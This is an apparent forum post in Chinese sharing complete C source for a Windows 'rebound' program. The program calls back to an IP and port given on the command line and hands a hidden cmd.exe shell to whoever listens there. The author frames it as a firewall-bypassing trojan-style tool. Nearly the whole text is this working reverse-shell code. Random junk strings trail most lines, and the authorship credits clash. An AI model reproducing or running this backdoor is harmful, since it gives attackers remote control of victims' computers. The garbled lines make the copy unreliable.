这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v1Wz#oP
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/* ============================== E0Neo _7
Rebound port in Windows NT !Hp H
By wind,2006/7 !^EdB}@yS
===============================*/ ]@D#<[5\
#include %Z#s9QC
#include |#6))Dh
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#pragma comment(lib,"wsock32.lib") w2/3\3p
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void OutputShell(); %Qc5_of
SOCKET sClient; #^FDFl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ILQB%0!
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void main(int argc,char **argv)
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{ u^!c:RfE?
WSADATA stWsaData; 861!p%y5
int nRet; _:Jra
SOCKADDR_IN stSaiClient,stSaiServer; n6f
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if(argc != 3) ?UPZ49y
{ Z[{k-_HgAm
printf("Useage:\n\rRebound DestIP DestPort\n"); @Ht7^rz+S
return; Ct)l0J\XH
} E3a^)S{
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5lc%GJybV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bh\>2]~@a
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stSaiClient.sin_family = AF_INET; <7;AK!BH
stSaiClient.sin_port = htons(0); !PIpvx{aX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =vaC?d3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U=a'(fX
{ g;Lk 'Ky6
printf("Bind Socket Failed!\n"); j$z<wR7j0
return; }}g.L|
} V>YZ^>oeH
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stSaiServer.sin_family = AF_INET; ;HOOo>%_K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %di]1vQ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U(jZf{`Mz
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;F;"Uw
{ JGB 9Z
printf("Connect Error!"); 1Y-m=~J7
return; pRAdo="
} C25r3bj
OutputShell(); { eU_
} Qmk}smvH
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void OutputShell() ba-J-G@YW
{ 0gEtEH+
char szBuff[1024]; 8<VO>WA>E
SECURITY_ATTRIBUTES stSecurityAttributes; L:(>ON
OSVERSIONINFO stOsversionInfo; E(;V.=I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l-Q.@hG
STARTUPINFO stStartupInfo; *nPB+@f
char *szShell; DD4fV`:kG
PROCESS_INFORMATION stProcessInformation; fW,,@2P
unsigned long lBytesRead; b&l/)DU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TC=djC4$/
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; D]s8w
stSecurityAttributes.bInheritHandle = TRUE; p..O;_U
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0(Hhb#WDh\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _7O;ED+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GomTec9.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (61_=,jv\h
stStartupInfo.wShowWindow = SW_HIDE; ^zMME*G
stStartupInfo.hStdInput = hReadPipe; A@W/
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /ox9m7Fz7
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GetVersionEx(&stOsversionInfo); ~_z"So'|F_
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switch(stOsversionInfo.dwPlatformId) q Z,7q
{ qOusO6
case 1: h|MTE~
szShell = "command.com"; lDQ'
break; Zw)*+> +FV
default: T.fmEl
szShell = "cmd.exe"; FuiEy=+
break; Qe&K
} scffWqEo
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {G+pI2^
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send(sClient,szMsg,77,0); Z=B6fu*
while(1) }|k_sx:
{ fY|Bc<,V9)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vBMuV pzO
if(lBytesRead) Xy74D/ocui
{ \G3P[E[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j=%^CRum
send(sClient,szBuff,lBytesRead,0); hU}!:6G%[P
} n>_EEw2/
else :N826_q
{ 6(Qr!<
lBytesRead=recv(sClient,szBuff,1024,0); k
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if(lBytesRead<=0) break; 5,>Of~YN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N34.Bt
} rc*iL
} Xm|Uz`A;
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return; 3H_mR
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}